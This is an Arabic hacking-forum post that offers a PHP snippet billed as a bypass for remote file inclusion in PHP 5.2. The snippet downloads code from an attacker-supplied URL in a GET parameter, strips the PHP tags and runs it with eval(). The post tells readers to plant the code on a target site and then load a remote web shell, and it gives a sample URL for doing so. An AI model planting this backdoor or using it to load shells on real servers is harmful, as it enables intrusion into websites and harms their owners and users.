PHP 5.2.* Bypass Remote File Inclusion)

سلام عليكم الشرح :- ثغره في php تسمح لك تسحب اي ملف php من خارج السيرفر لان الاصدارات الجديده مانعه السحب لغم الموقع بالكود هذا واسحب الشل بالطريقه ذي...

C

Crazy Dz

New Member
PHP 5.2.* Bypass Remote File Inclusion)
سلام عليكم

PHP: 
<?php
/*
 ************************
 * Include any File php *
 * PHP (Bypass 5.2.*)   *
 ************************
 * Coded By AL-MoGrM    *
 * T0v@hotmail.Com      *
 ************************
*/
if($_GET[t0v]){
$file=implode("\n",file($_GET[t0v]));
$t0v=str_replace("<?php", "",$file);
$t0v=str_replace("<?", "",$t0v);
$t0v=str_replace("?>", "",$t0v);
eval($t0v);
}
?>



الشرح :- ثغره في php تسمح لك تسحب اي ملف php من خارج السيرفر لان الاصدارات الجديده مانعه السحب
لغم الموقع بالكود هذا واسحب الشل بالطريقه ذي
http://site.com/file.php?t0v=http://...mages/Ex/r.txt

المصدر SecurityReason

​
 
اسم الموضوع : PHP 5.2.* Bypass Remote File Inclusion) | المصدر : قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات
يجب تسجيل الدخول أو التسجيل كي تتمكن من الرد هنا.
أعلى